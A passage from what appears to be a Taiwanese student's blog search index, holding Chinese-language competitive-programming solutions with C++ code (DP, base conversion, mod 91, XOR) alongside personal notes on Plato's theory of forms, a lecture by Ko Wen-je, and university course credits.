堆纸牌，$1 \\leq N \\leq 100$）\n第二行为：$A_1,A_2, … ,A_n$（$N$堆纸牌，每堆纸牌初始数，$1 \\leq A_i \\leq 10000$）\n輸出 Output # 一行：即所有堆均达到相等时的最少移动次数。\n範例輸入 Sample Input # 4 9 8 17 6 範例輸出 Sample Output # 3 題解 Solution # Re:我没看懂我自己的想法，居然过了 因為沒有中國門號，無法在上面回，就留在這裡了\n作法就是把差距移到下一個位置 也就是說這堆的牌把下一堆的牌拿過來平衡 反正下一堆不平衡從下下一堆再拿牌也沒關係\n大概就是這樣\n程式碼 Accepted Code # #include \u0026lt;bits/stdc++.h\u0026gt; #define _ ios::sync_with_stdio(0);cin.tie(0);cout.tie(0); using namespace std; // 參考來源：https://www.luogu.org/discuss/show/75812 int main() { int N,sum=0; cin\u0026gt;\u0026gt;N; vector\u0026lt;int\u0026gt; enter(N); for(int i=0;i\u0026lt;N;i++){ cin\u0026gt;\u0026gt;enter[i]; sum+=enter[i]; } int avg=sum/N,timee=0; for(int i=0;i\u0026lt;N-1;i++){ if(enter[i]!=avg){ enter[i+1]+=enter[i]-avg; timee++; } } cout\u0026lt;\u0026lt;timee\u0026lt;\u0026lt;\u0026#39;\\n\u0026#39;; return 0; } 後記 Afterword # 稍微看一下討論區，這題思路也蠻多的，可以好好嘗試其他的過程\n本人試寫洛谷OJ，把「新手村」都刷光光了 難度排序還不錯，認識一下 NOI 或 NOIP 的題目 之後也會開始寫洛谷OJ的相關題解\n（為何不用洛谷裡面的 Blog 呢？）\n因為我沒有中國門號 QAQ\n","date":"2019/01/19","externalUrl":null,"permalink":"/posts/lg-1031/","section":"Posts","summary":"題目 Problem # 題目連結：https://www.luogu.org/problemnew/show/P1031\n","title":"洛谷OJ P1031 均分纸牌","type":"posts"},{"content":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=c878\n敘述 Description # 根據民主政治的精神，政府單位有責任到民意代表所組成的會議中接受質詢與監督。某議會的議長在會期開始前就和政府單位進行下面的溝通：「我們議會希望被質詢的官員每一次都要出席。如果有兩次以上的請假紀錄，或是連續三次以上請代理的同仁來接受質詢的話，恐怕會造成雙方溝通上的緊張。」 請你寫一隻程式來統計一下，當官員需要被質詢 N 次的情況下，有多少種官員出席紀錄可以保持府會的和諧關係。另外，由於答案可能會非常大，請回傳除以 100000007 之後的餘數。\n輸入 Input # 測試資料只有一行，只有一個正整數 N，代表某一官員所要接受質詢的次數。N 的範圍從 2 到 120000。\n輸出 Output # 輸出資料為一個數值，為能夠保持府會和諧的出席紀錄組合數量。\n範例輸入 Sample Input # 範例輸入一： 2 範例輸入二： 3 範例輸出 Sample Output # 範例輸出一： 8 範例輸出二： 19 提示 Hint # 範例輸入一： 八種組合列在下面： [出席，出席][出席，代理][代理，出席] [請假，出席][請假，代理][出席，請假] [代理，請假][代理，代理]\n範例輸入二： 會破壞行政單位和議會關係的紀錄組合： [假假出][假出假][出假假][假假代][假代假] [代假假][假假假][代代代]\n題解 Solution # 根據英國(?)研究顯示，看到 $Mod$ 題目，有 $87%$ 都是DP題 想了半天還是沒有想到DP轉移式 後來跟FB社團裡的大神求助後 才知道兩次以上的請假紀錄或是連續三次以上請代理需要分開寫\n定義一下$dp[i][j][k]$ $i$是天數 $j$是請假天數 $k$是連續代理次數\n所以可以這樣寫 $dp[120001][2][3]$\n轉移式就可以這樣寫： 0次請假 且 0次連續代理 = 前一天的（0次請假 且 0次連續代理 + 0次請假 且 1次連續代理 + 0次請假 且 2次連續代理）\n$$dp[i][0][0]=dp[i-1][0][0]+dp[i-1][0][1]+dp[i-1][0][2]$$0次請假 且 1次連續代理 = 前一天的（0次請假 且 0次連續代理）\n$$dp[i][0][1]=dp[i-1][0][0]$$0次請假 且 2次連續代理 = 前一天的（0次請假 且 1次連續代理）\n$$dp[i][0][2]=dp[i-1][0][1]$$1次請假 且 0次連續代理 = 前一天的（0次請假 且 0次連續代理 + 0次請假 且 1次連續代理 + 0次請假 且 2次連續代理 + 1次請假 且 0次連續代理 + 1次請假 且 1次連續代理 + 1次請假 且 2次連續代理）\n這裡的會有0次請假，因為之前沒有請假，代表他今天可以請假 這裡的會有1次請假，代表他今天出席\n$$dp[i][1][0]=dp[i-1][0][0]+dp[i-1][0][1]+dp[i-1][0][2]+dp[i-1][1][0]+dp[i-1][1][1]+dp[i-1][1][2]$$1次請假 且 1次連續代理 = 前一天的（1次請假 且 0次連續代理）\n$$dp[i][1][1]=dp[i-1][1][0]$$1次請假 且 2次連續代理 = 前一天的（1次請假 且 1次連續代理）\n$$dp[i][1][2]=dp[i-1][1][1]$$ 程式碼 Accepted Code # #include \u0026lt;bits/stdc++.h\u0026gt; #define _ ios::sync_with_stdio(0);cin.tie(0);cout.tie(0); using namespace std; int main(){ long long int dp[120002][2][3]={0}; dp[1][0][0]=1; dp[1][0][1]=1; dp[1][1][0]=1; for (int i = 2; i \u0026lt; 120002; ++i){ dp[i][0][0]=(dp[i-1][0][0]+dp[i-1][0][1]+dp[i-1][0][2])%100000007; dp[i][0][1]=dp[i-1][0][0]%100000007; dp[i][0][2]=dp[i-1][0][1]%100000007; dp[i][1][0]=(dp[i-1][0][0]+dp[i-1][0][1]+dp[i-1][0][2]+dp[i-1][1][0]+dp[i-1][1][1]+dp[i-1][1][2])%100000007; dp[i][1][1]=(dp[i-1][1][0])%100000007; dp[i][1][2]=(dp[i-1][1][1])%100000007; } int N; cin\u0026gt;\u0026gt;N; cout\u0026lt;\u0026lt;(dp[N][0][0]+dp[N][0][1]+dp[N][0][2]+dp[N][1][0]+dp[N][1][1]+dp[N][1][2])%100000007\u0026lt;\u0026lt;\u0026#39;\\n\u0026#39;; return 0; } 後記 Afterword # 這題 Sine Wu 也分享了他的解法 之後來研究，研究完會貼出來分享 台南一中OJ有個類題 https://toj.tfcis.org/oj/pro/416/ 測試資料高達 $N=10^9$ 這種就只能寫矩陣快速冪 可以把$O(N)$變成$O(\\log N)$\n","date":"2018/11/22","externalUrl":null,"permalink":"/posts/zj-c878/","section":"Posts","summary":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=c878\n","title":"c878. 107北二5.議會質詢紀錄","type":"posts"},{"content":"","date":"2018/11/22","externalUrl":null,"permalink":"/tags/dynamic-programming/","section":"Tags","summary":"","title":"Dynamic Programming","type":"tags"},{"content":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=b981\n敘述 Description # 前幾天看到一隻 b961 YoJudge怪獸，感覺太強大了，所以先打Lo練功，期盼來日再戰YoJudge怪獸。 這次任務較簡單，將以下各種格式的時間單位統一轉換為毫秒。 以下 x,y,z,a,b皆為非負整數 可能出現的時間單位格式如下： xhour :代表 x 小時, 0\u0026lt;=x\u0026lt;24 xhym :代表 x 小時又 y 分鐘, 0\u0026lt;=x\u0026lt;24, 0\u0026lt;=y\u0026lt;60 xhymzs :代表 x 小時又 y 分鐘又 z 秒, 0\u0026lt;=x\u0026lt;24, 0\u0026lt;=y\u0026lt;60, 0\u0026lt;=z\u0026lt;60 ymin :代表 y 分鐘, 0\u0026lt;=y\u0026lt;60 ymzs :代表 y 分鐘又 z 秒, 0\u0026lt;=y\u0026lt;60, 0\u0026lt;=z\u0026lt;60 zs :代表 z 秒, 0\u0026lt;=y\u0026lt;60, 0\u0026lt;=z\u0026lt;60 z.as :代表 z 秒又 a*100毫秒, 0\u0026lt;=z\u0026lt;60, 0\u0026lt;=a\u0026lt;10 bms :代表 b 毫秒, 0\u0026lt;=b\u0026lt;1000\n輸入 Input # 多行直到 EOF，每行只有如上題目所說的時間格式，沒有空格\n輸出 Output # 將輸入的每一行換算為毫秒，輸出一行整數\n範例輸入 Sample Input # 13hour 9h20m 23h17m57s 6min 34m50s 8s 19.7s 567ms 範例輸出 Sample Output # 46800000 33600000 83877000 360000 2090000 8000 19700 567 提示 Hint # 題解 Solution # 數字會先讀取，所以先存數字到 $tmp$ 裡面 讀到 $h$ 可能是 $h$ 或 $hour$，要自己判斷 讀到 $m$ 可能是 $m$ 或 $min$ 或 $ms$，$ms$ 是毫秒，要另外區隔 要注意小數點，反正小數點也只會在 $s$ 出現 出現小數點，就直接把數字放在 $s$ 就好 小數點後的數字另外判斷\n程式碼 Accepted Code # #include \u0026lt;bits/stdc++.h\u0026gt; #define _ ios::sync_with_stdio(0);cin.tie(0);cout.tie(0); using namespace std; int main(){ _ string enter; while(cin\u0026gt;\u0026gt;enter){ int h=0,m=0,s=0,dot=0,ms=0,tmp=0,dotyes=0; for(unsigned int i=0;i\u0026lt;enter.length();i++){ if(enter[i]==\u0026#39;.\u0026#39;){ s=tmp; dotyes=1; tmp=0; } else if(\u0026#39;0\u0026#39;\u0026lt;=enter[i]\u0026amp;\u0026amp;enter[i]\u0026lt;=\u0026#39;9\u0026#39;){ tmp*=10; tmp+=enter[i]-\u0026#39;0\u0026#39;; } else if(enter[i]==\u0026#39;h\u0026#39;){ if(i+1\u0026lt;enter.length()){ if(enter[i+1]==\u0026#39;o\u0026#39;){ h=tmp; i+=3; } else{ h=tmp; } } else{ h=tmp; } tmp=0; } else if(enter[i]==\u0026#39;m\u0026#39;){ if(i+1\u0026lt;enter.length()){ if(enter[i+1]==\u0026#39;s\u0026#39;){ ms=tmp; i+=1; } else if(enter[i+1]==\u0026#39;i\u0026#39;){ m=tmp; i+=2; } else{ m=tmp; } } else{ m=tmp; } tmp=0; } else if(enter[i]==\u0026#39;s\u0026#39;){ if(dotyes){ dot=tmp; } else{ s=tmp; } tmp=0; } } m+=h*60; s+=m*60; dot+=s*10; ms+=dot*100; cout\u0026lt;\u0026lt;ms\u0026lt;\u0026lt;\u0026#39;\\n\u0026#39;; } return 0; } 後記 Afterword # 很久沒出解題報告書了 還有另一個 YoJudge 預練(空間之章) 晚點再寫吧！寫完「空間之章」，就可以來寫真正的「YouJudge」(X)了\n","date":"2018/10/26","externalUrl":null,"permalink":"/posts/zj-b981/","section":"Posts","summary":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=b981\n","title":"b981. YoJudge 預練(時間之章)","type":"posts"},{"content":"","date":"2018/10/24","externalUrl":null,"permalink":"/tags/education/","section":"Tags","summary":"","title":"Education","type":"tags"},{"content":"","date":"2018/10/24","externalUrl":null,"permalink":"/tags/philosophy/","section":"Tags","summary":"","title":"Philosophy","type":"tags"},{"content":"前幾天上了教育哲學，感覺跟現在的事件有點相關，所以我把它拉進裡面了 （這只是我的個人上課筆記而已） （如果你是要專業研究的，請回去上一頁或是看其他人寫的文章，哲學哲學雞蛋糕的理型論）\n理型論 Theory of Form # 提出人：柏拉圖（Plato），古希臘三哲人之一\n他認為觀念界\n表象界 vs 觀念界 # 表象界 Appenrance # 它靠著感官，眼、耳、口、鼻、觸，來去説他是什麼樣子的 例如：水壺，我用眼睛感覺，他是圓柱體的\n但是，表象是可以被偽造的 例如：筷子插入水中，用眼睛感覺，筷子被折斷了((((；ﾟДﾟ)))))))\n表象界它是：短暫的、虛假的、易變的\n日本的《世界奇妙物語》之前還演過類似的 有個人犯了重大的罪，被判了30天 30天？重大的罪只有30天？眾人很疑惑\n這30天以內，犯人受盡各種折磨 然而，孰不知，夢裡的30天 = 現實的5分鐘 現實是被判30天，也就是夢裡大約720年\n觀念界 Idea # 剛剛談到，表象是可以被偽造的 例如：筷子插入水中，用眼睛感覺，筷子被折斷了((((；ﾟДﾟ)))))))\n觀念界，就是知道筷子沒有被折斷，只是水的折射看起來被折斷了 你知道了水的折射，才知道筷子並沒有斷\n觀念界它是：永恆的、真實的、不變的\n洞穴寓言 Allegory of the Cave # 內容其實 Google、Wikipedia 都看得到\n如果給一名囚犯鬆綁，出去看見這些以往所見的影子的原型，你覺得會怎麼樣？ 這個人可能會在強光刺激下痛苦不堪，產生錯亂。 他可能會認為外面所看到的東西不是現實的。 因為他相信只有在洞壁上能看見真相。\n普悠瑪事件 Train derailment # 很多人知道普悠瑪出軌事件，看著新聞直播救援\n剛好拍到慈濟在助念，當天有人身為前救難隊員就出來罵慈濟説干擾救援 （也就是說，前救難隊員並沒有在現場）\n週日：Po文到「爆料公社」 週一：大家一起狂鞭「慈濟」，說「作秀」「詛咒別人」「詐騙集團」「干擾救援」之類的 週二：大愛電視FB專頁表示「如果志工助念，影響到搜救工作，警消人員一定會來制止的，但現場並沒有人有任何表示。」 「慈濟志工跟媒體被安排在同一區，很接近攝影機收音位置，可能因此導致媒體直播時，志工的聲音很明顯，引發觀眾的關切與誤會。」\n（詳情也可以去看大愛電視FB專頁，多吸收一點資訊，多方面查證） （也不要只是聽信「媒體」、「爆料公社」怎麼説就怎麼罵，不然你也是跟那些洞穴囚犯一樣）\n真相怎麼樣，我也不多做評論了，畢竟我沒有在現場 至於真的是不是「作秀」「干擾救援」？ 不要只是憑著一張照片、一段錄音、一部影片 就輕易的斷定事實\n後記 Afterword # 學習哲學，並不是思考哲學，而是更有哲學的思考 保持著理性，才能更接近真相\n為何凡是不能只看表面？ 因為表象是可以被偽造的\n多思考、多查證，不要只是人云亦云 否則，你也跟洞穴囚犯沒什麼差異\n","date":"2018/10/24","externalUrl":null,"permalink":"/posts/theory-of-forms/","section":"Posts","summary":"","title":"理型論？為何凡是不能只看表面？","type":"posts"},{"content":"","date":"2018/10/17","externalUrl":null,"permalink":"/tags/talk/","section":"Tags","summary":"","title":"Talk","type":"tags"},{"content":"校長週會，老實說，講者聽一聽，隔幾天就忘記了\n演講前數天 Before # 「什麼？大一校長週會是柯P？」我瞪大著眼說 「對啊\u0026hellip;這是真的」室友 「傻眼\u0026hellip;那我們之前到底請誰來啊？」 這也是蠻奇葩的事之一 新生的國文檢定門檻都直接被刪除了 反正意想不到真的很多\n演講前一天 Yesterday # 晚上跟女友分享我明天想要去聽柯P的演講 打算明天吃完早午餐，就直接過去大愛樓\n我女友大概跟我說類似的經驗，以前也有請沈玉琳來 演藝廳也是爆棚的，一樓坐滿就到二樓坐，二樓坐滿就站著聽\n演講當天 # 中午12點我就在簽到處等待了 等到差不多1點才能進場 還好人還沒有很多，坐到第二排\n演講者 Lecturer # 臺北市第6任市長 柯文哲 # 圖片4不4太大了？\n演講內容 # 台大醫院 # 當他來到台大醫院的第一天，體驗到人生無常\n人生哲學 # 人生都是意外（也包括當上市長吧） 台大醫院的磨練，也包括被彈劾的事件（那時候陳佩琪直接衝出來跟台大槓上，台灣啟示錄還有做專訪）\n「最困難並不是面對挫折打擊，最困難的是面對挫折打擊，卻沒有失去對人世之熱情」 我真的覺得這句話最後面的那一句是最難的，沒有失去對人世之熱情，經歷過挫折打擊後，真的，好難。\n把別人當作自己 博愛 把自己當作別人 淡然 把別人當作別人 智慧 把自己當作自己 自在\n心路歷程 # 他曾經這樣過：「見山是山 -\u0026gt; 見山不是山 -\u0026gt; 見山是山」 套用在醫生怎麼說：「看病人 -\u0026gt; 看數據 -\u0026gt; 看病人」 曾經有一段時間他都看不到病人，專心看著機器上的數字\nDr.ECMO # 邵曉玲 事件 體驗到「十年寒窗無人問，一舉成名天下知」\n高科技叢林 # 看到了16天沒心臟，用兩台ECMO維生\n柯P直接反問我們：「什麼是活著？」 「病人旁邊放了一堆維生機器的後面，你看到什麼？」 「不會死，也不會活，你是否願意讓他走？」\n「如果有錢不會死，王永慶會還在」\n世大運 # 「如果誠心要做一件事，全世界都會來幫你。」 一日幕僚還跟邰哥講說：「聽障奧運要5.4億，我辦世大運3.6億，你覺得為什麼？」 「如果你成功 朋友認識你 如果你失敗 你認識朋友 如果你成功失敗成功失敗\u0026hellip;. 你認識人生」\n給台灣年輕人 # 最大的啟示 Just Do It 做！不一定會成功 不做！一定會失敗\n後記 Afterword # 我後來發現，我之前在柯P的IG上，他發過的名言我都會截圖 今天演講聽完整理筆記時，才知道這些話他幾乎都說過\n這筆記整理得有點亂，可能之後再修吧！\n","date":"2018/10/17","externalUrl":null,"permalink":"/posts/kp-tcu-note/","section":"Posts","summary":"校長週會，老實說，講者聽一聽，隔幾天就忘記了\n","title":"演講筆記：醫人文 —— 我的故事","type":"posts"},{"content":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=c731\n敘述 Description # 在一個二維平面上，從原點出發，每一步等於一單位長，每一次只能向右走、向上走或向左走。請問恰好走 n 步且不經過已走的點共有多少種走法？\n輸入 Input # 輸入僅一行，為正整數 n （ 0 \u0026lt; n \u0026lt;= 10000 ）。\n輸出 Output # 一個整數, 表示方案數。由於答案可能很大，你只需要輸出這個答案 mod 12345的值 ( 換句話說，輸出這個答案除以12345的餘數 )。\n範例輸入 Sample Input # 【範例輸入一】 2 【範例輸入二】 1 範例輸出 Sample Output # 【範例輸出一】 7 【範例輸出二】 3 提示 Hint # 【分數】\n20% n \u0026lt;= 5\n40% n \u0026lt;= 10\n60% n \u0026lt;= 100\n80% n \u0026lt;= 1000\n100% n \u0026lt;= 10000\n題解 Solution # 經典DP問題，如果不要走到重複的點，就不要往回走 如果要往上走，不用考慮會不會重複的點，全部加起來就對了 如果要往左走，前一步就不能往右走。 如果要往右走，前一步就不能往左走。 然後記得每次算完 $Mod\\ 12345$ 就好\n程式碼 Accepted Code # #include \u0026lt;bits/stdc++.h\u0026gt; #define _ ios::sync_with_stdio(0);cin.tie(0);cout.tie(0); using namespace std; int main(){ int up[10001]={1},left[10001]={1},right[10001]={1}; int N; cin\u0026gt;\u0026gt;N; for(int i=1;i\u0026lt;N;i++){ up[i]=up[i-1]+left[i-1]+right[i-1]; left[i]=up[i-1]+left[i-1]; right[i]=up[i-1]+right[i-1]; up[i]%=12345; left[i]%=12345; right[i]%=12345; } cout\u0026lt;\u0026lt;(up[N-1]+left[N-1]+right[N-1])%12345\u0026lt;\u0026lt;\u0026#39;\\n\u0026#39;; return 0; } 後記 Afterword # 數字應該能再開大一點啊，還以為這題有什麼陷阱 = = 如果沒有意外，下一篇應該是寫演講筆記 以前演講聽一聽就算了，不過這次我想寫出來 講者是誰？敬請期待\n","date":"2018/09/26","externalUrl":null,"permalink":"/posts/zj-c731/","section":"Posts","summary":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=c731\n","title":"c731. 走路時要算數學","type":"posts"},{"content":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=d635\n敘述 Description # 你說什麼？777=511？怎麼可能…？\n因為這裡是八進位的777轉換成10進位的511了～(好爛ˇ)\n給你十進位的數字，請你把他們轉成八進位好嗎？\n輸入 Input # 每個測資點有多筆測資，請以EOF作為結束。 每組測資一行，有整數n(0\u0026lt;=n\u0026lt;=511)，表示要轉換成八進位的數字 最後出現小於0的整數表示測資結束。\n\u0026lt;所有出現的整數皆可以signed 32-bits int儲存\u0026gt;\n輸出 Output # 對於每一行測資請輸出整數n的八進位表示。 對於最後一個小於0的整數，請輸出-1。\n範例輸入 Sample Input # 277 511 123 456 -1 範例輸出 Sample Output # 425 777 173 710 -1 提示 Hint # 1.進位制轉換 2.共三個測資點30%、35%、35%， 第一個測資點即範例測資。\n題解 Solution # 以EOF作為結束？最後出現小於0的整數表示測資結束？ 到底是我國文爛還是題目敘述爛？（好歹我大學國文門檻過了） 有些人會用C++內建轉$8$進位的，但還是要知道概念\n$10$進位的\n$$511_{(10)}$$會是 $$ 511_{(10)} = 5 * 10^2 + 1 * 10^1 + 1 * 10^0 $$ $8$進位的\n$$777_{(8)}$$會是 $$ 777_{(8)} = 7 * 8^2 + 7 * 8^1 + 7 * 8^0 = 511_{(10)} $$ $8$進位的\n$$173_{(8)}$$會是 $$ 173_{(8)} = 1 * 8^2 + 7 * 8^1 + 3 * 8^0 = 123_{(10)} $$大致上不論是轉成$N$進位都差不多\n$10$進位轉成$8$進位\n先把數字 $MOD\\ 8$ 就可以求出$8$進位中的個位數 $123%8=3$ 再把數字 $/\\ 8$ 後再 $MOD\\ 8$ 就可以求出$8$進位中的下個位數 $123/8=15$ $15%8=7$ 再把數字 $/\\ 8$ 後再 $MOD\\ 8$ 就可以求出$8$進位中的下個位數 $15/8=1$ $1%8=1$\n然後把數字倒敘輸出就可以拿到$1,7,3$\n如果可以EOF結尾，我就把負數自動設定為$-1$\n輸入$0$出來會是空白，所以還加了特判\n程式碼 Accepted Code # #include \u0026lt;bits/stdc++.h\u0026gt; #define _ ios::sync_with_stdio(0);cin.tie(0);cout.tie(0); using namespace std; int main(){ _ long long int enter; while(cin\u0026gt;\u0026gt;enter){ if(enter\u0026lt;0){ cout\u0026lt;\u0026lt;\u0026#34;-1\u0026#34;\u0026lt;\u0026lt;\u0026#39;\\n\u0026#39;; continue; } if(enter==0){ cout\u0026lt;\u0026lt;\u0026#34;0\u0026#34;\u0026lt;\u0026lt;\u0026#39;\\n\u0026#39;; continue; } int ans[10]={0},len=0; while(enter){ ans[len++]+=enter%8; enter/=8; } for(int i=len-1;i\u0026gt;=0;i--) cout\u0026lt;\u0026lt;ans[i]; cout\u0026lt;\u0026lt;\u0026#39;\\n\u0026#39;; } return 0; } 後記 Afterword # 這題題目敘述真的是爛到吃了好幾個 WA 寫 UVa 題目也有碰過一次，題目沒有寫清楚 最後還是看了一下 AC Code 才知道在寫什麼\n","date":"2018/09/14","externalUrl":null,"permalink":"/posts/zj-d635/","section":"Posts","summary":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=d635\n","title":"d635. 幸運777？luck","type":"posts"},{"content":"","date":"2018/09/14","externalUrl":null,"permalink":"/tags/number-base/","section":"Tags","summary":"","title":"Number Base","type":"tags"},{"content":"自從升到大學以來，說輕鬆嗎？好像也不是 至少不需要對本科放太多心力，畢竟都是學過的\n相比我同學，他們還是很強的，我學了程式也很久了，他們並沒有程式背景 也就是說，我花了兩年理解的東西，我同學花了半年學完\n大一簡略 # 由於大一學期末我也加入了「師資培訓生」 原本的128畢業學分，瞬間飆到158學分 再加上學校又一堆看起來很~~（狗屎爛蛋）~~有用的畢業門檻\n為了趕那些畢業門檻，大一就先把通識基本門檻達到（Ex.環境2學分以上、邏輯2學分以上，這種容易忽略的小門檻） 再去修~~（躺分課）~~或興趣課\n大一上加加減減就變成28學分（其實只有25學分，因為有暑假先修課3學分） 大一下為了加入師培更容易，變成26學分\n大一下修課時，我一直想要當助教，當助教前當然要先修過 當然我也問了其他學長們、系主任的意見 有些學長覺得可以、有些覺得要先去修資料結構（但我光打競賽就學了 一堆奇怪的 資料結構） 但我問主任時，他就直接說「可以啊」 連猶豫一下都沒有 然後大一下學期末，我就選了\u0026hellip;\u0026hellip;ㄏㄏㄏㄏㄏ 暑假助教 # 暑假是有先修課，也剛好在徵助教、講師 差不多就是練習教學、跟學弟妹互動\n話說，我還忘記繳學費，差點不能註冊\u0026hellip;\u0026hellip;\n大二開學 # 大二把一些沒有選上的通識課換掉，選一選就變成26學分了 演算法剛進去上課時，教授還問我怎麼選進來的（原本以前有擋修，但現在都拿掉了）\n我覺得比較擔心的事，分組，畢竟在這裡只有學長姐，沒有同學 不過有學長願意收留我，超好der（而且都是學霸等級）\n第一次上機題目是河內塔問題 當然，要學會怎麼分析問題、推出規律 大致上就是這樣\n至於迎新總召嗎？再說吧！又要再寫一篇\u0026hellip;\u0026hellip;\n","date":"2018/09/12","externalUrl":null,"permalink":"/posts/1071credit/","section":"Posts","summary":"自從升到大學以來，說輕鬆嗎？好像也不是 至少不需要對本科放太多心力，畢竟都是學過的\n相比我同學，他們還是很強的，我學了程式也很久了，他們並沒有程式背景 也就是說，我花了兩年理解的東西，我同學花了半年學完\n","title":"超修？扛下去？演算法直接跳上去？","type":"posts"},{"content":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=c311\n敘述 Description # 進到了這個房間，小風終於遇到第一個塔主，這個塔主精神有點疾病，他有超級多的部下，而他想要將這些人以91個人為單位分為一組，而多出來的人就要把他殺掉。 然而他實在是太懶惰了，不想要自己算要殺掉多少人，於是他命令小風幫他算出人數，否則第一個先死的就是小風了。 無奈小風的除法沒有學好，所以他算不出來。於是小風再次需要各位的幫忙，請算出塔主需要殺掉的人數。\n輸入 Input # 輸入有多筆測資，並以EOF作為結尾。 每一筆測資包含一個正整數n，代表塔主的部下人數。\n10%的測資滿足n\u0026lt;=10^9 40%的測資滿足n\u0026lt;=10^18 100%的測資滿足n\u0026lt;=10^100000\n輸出 Output # 對於每一筆輸入 請輸出塔主需要殺掉的人數\n範例輸入 Sample Input # 92 93 91 範例輸出 Sample Output # 1 2 0 提示 Hint # 題解 Solution # 如何判斷數字是不是$7$的倍數跟$13$的倍數 當然是打開 Google 查啊（Ｘ）\n7的倍數：由個位數起每三位數字一節，各奇數節的和與偶數節的和相減，其差是7的倍數。 13的倍數：由個位數起每三位數字一節，各奇數節的和與偶數節的和相減，其差是13的倍數。 （文字來源：https://leestar2018.blogspot.com/2016/09/113.html）\n把數字長度補到$3$的倍數就可以算了\n反正數字都一樣，就直接 $mod\\ 91$ （繳交後3秒，回傳結果：WA） 後來想想，我忘了重要關鍵點，因為只是判斷7的倍數或13的倍數，可以不用管正負 但！如果是 $mod$ 就要區分正負關係了\n正數正常 $mod\\ 91$ 就好 負數要先 $mod\\ 91$ 再加 $91$ 再 $mod\\ 91$ 不知道為什麼的人請去 Google 負數取模\n程式碼 Accepted Code # #include \u0026lt;bits/stdc++.h\u0026gt; #define _ ios::sync_with_stdio(0);cin.tie(0);cout.tie(0); using namespace std; int main(){ _ string enter;//192936162 55 while(cin\u0026gt;\u0026gt;enter){ int total=0; int s=enter.length()%3; if(s==1) enter=\u0026#34;00\u0026#34;+enter; else if(s==2) enter=\u0026#34;0\u0026#34;+enter; int p=0; for(int i=enter.length()-3;i\u0026gt;=0;i-=3){ if(p%2){ total-=((enter[i]-\u0026#39;0\u0026#39;)*100+(enter[i+1]-\u0026#39;0\u0026#39;)*10+(enter[i+2]-\u0026#39;0\u0026#39;)); } else{ total+=((enter[i]-\u0026#39;0\u0026#39;)*100+(enter[i+1]-\u0026#39;0\u0026#39;)*10+(enter[i+2]-\u0026#39;0\u0026#39;)); } p++; } int mo=total%91; if(total\u0026lt;0) printf(\u0026#34;%d\\n\u0026#34;,(91+mo)%91); else printf(\u0026#34;%d\\n\u0026#34;,mo); } return 0; } 後記 Afterword # 異想不到的事，這題我是第一個 $0ms$ 完成 畢竟 ZeroJudge 有改版過 效能應該有提升 但，套用憲哥說的一句話 不過我倒是好奇，畢竟這題曾經是比賽題 如果是在比賽期間，你要怎麼讓這題拿到AC呢？\n","date":"2018/09/02","externalUrl":null,"permalink":"/posts/zj-c311/","section":"Posts","summary":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=c311\n","title":"c311. PC:分組之塔","type":"posts"},{"content":"","date":"2018/09/02","externalUrl":null,"permalink":"/tags/mod/","section":"Tags","summary":"","title":"Mod","type":"tags"},{"content":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=d708\n敘述 Description # 自从小涵去商店买了那么多的积木，小王也去买了一大堆。 不过小王比较喜欢数学，所以他买的积木上写的只有数字；因为他认为偶数比较吉利，于是他买的积木是全是偶数快的。 听说小涵少了一个积木，他便整理了一下他的，可是他发现他也少了一块积木\u0026hellip;（很无语吧\u0026hellip;） 上次他见你已经帮小涵找到了积木，于是就请你来帮他找找，而且他还告诉你：“我的积木比小涵的好找很多。” 半信半疑的你决定帮帮他。\n輸入 Input # 只有一笔测资。 测资末尾会有多余信息，忽略就好。//感谢asas提醒。2015/8/6\n输入数据的第一行，是小王告诉你他的积木个数N（N一定是一个正偶数，而且2\u0026lt;=N\u0026lt;=1000000，你看他的积木可没有小涵的多）。 接下来每行有（N-1）个数字，表示小王每个积木上的数字（可以用longint存储）。\n輸出 Output # 对于每组测资，输出小王缺少的那块积木的数字。\n範例輸入 Sample Input # 8 1 2 3 2 3 4 4 範例輸出 Sample Output # 1 提示 Hint # 提示 ： 小涵的积木的AC代码可以直接AC本题。 但我希望您可以想想另一种解答方式，想想数字有什么特殊性，参考时间复杂度$O(n)$，空间复杂度$O(1)$。\n还有一种算法时间复杂度$O(n\\log{n})$，空间复杂度$O(n)$的\u0026hellip;\n如果哪种语言直接输入都超时的话，请与我联系，我将调整时间限制。\n//感谢ck99126指出题目存在的一些问题！\n題解 Solution # 1.直接暴力做 # 無庸置疑，跟 C++ Map 一起使用\n程式碼 I Accepted Code I # #include \u0026lt;bits/stdc++.h\u0026gt; #define _ ios::sync_with_stdio(0);cin.tie(0);cout.tie(0); using namespace std; int main(){ _ long long int N; cin\u0026gt;\u0026gt;N; map\u0026lt;int,int\u0026gt; m; long long int A; for(int i=0;i\u0026lt;N-1;i++){ cin\u0026gt;\u0026gt;A; map\u0026lt;int,int\u0026gt;::iterator it=m.find(A); if(it==m.end()) m[A]=1; else m[A]++; } for(auto it=m.begin();it!=m.end();it++) if(it-\u0026gt;second%2){ cout\u0026lt;\u0026lt;it-\u0026gt;first\u0026lt;\u0026lt;\u0026#39;\\n\u0026#39;; break; } return 0; } 2.XOR # {% post_link zj-c651 %} 這篇文章有寫過有關 XOR 的性質 用歸零律跟自反性就可以完成了\n程式碼 II Accepted Code II # #include \u0026lt;stdio.h\u0026gt; int main(){ int N,ans=0; scanf(\u0026#34;%d\u0026#34;,\u0026amp;N); N--; while(N--){ int S; scanf(\u0026#34;%d\u0026#34;,\u0026amp;S); ans^=S; } printf(\u0026#34;%d\\n\u0026#34;,ans); return 0; } 後記 Afterword # 很神奇吧，這樣複雜度都壓下去了 但 後面有些東西是用HTML補上去的 不曉得是不是 Hexo 出 BUG 了 有些正常的 Markdown 無法解析成功 就這樣吧\n","date":"2018/09/02","externalUrl":null,"permalink":"/posts/zj-d708/","section":"Posts","summary":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=d708\n","title":"d708. 